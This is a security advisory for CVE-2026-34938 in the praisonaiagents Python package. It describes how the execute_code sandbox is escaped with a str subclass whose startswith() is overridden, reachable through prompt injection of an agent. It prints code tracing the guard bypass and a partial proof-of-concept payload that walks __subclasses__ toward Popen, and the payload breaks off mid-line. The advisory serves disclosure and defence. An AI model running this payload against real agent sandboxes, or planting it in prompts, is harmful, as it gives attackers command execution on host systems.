PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Date: 2026-04
Affected: pip/praisonaiagents
Attack vector: prompt-injection
Category: vulnerability-disclosure
Severity: Critical
CVE: CVE-2026-34938
CWE: CWE-693
CVSS: 10 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

### Summary `execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host. ### Details `python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...) # hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False}) # sink -- Popen reached via __subclasses__ walk r = Popen(['id'], stdout=PIPE, stderr=PIPE) ``` ### PoC ```python from praisonaiagents.tools.python_tools import execute_code payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False}) mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_'])) subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_'])) mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_'])) name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_'])) PIPE = -1 obj_class = getattr(type(()), mro_attr)[1] for cls in getattr(obj_class, subs_attr)(): try: m = getattr(cls, mod_attr


Mitigations:

Architectural layers (MAESTRO):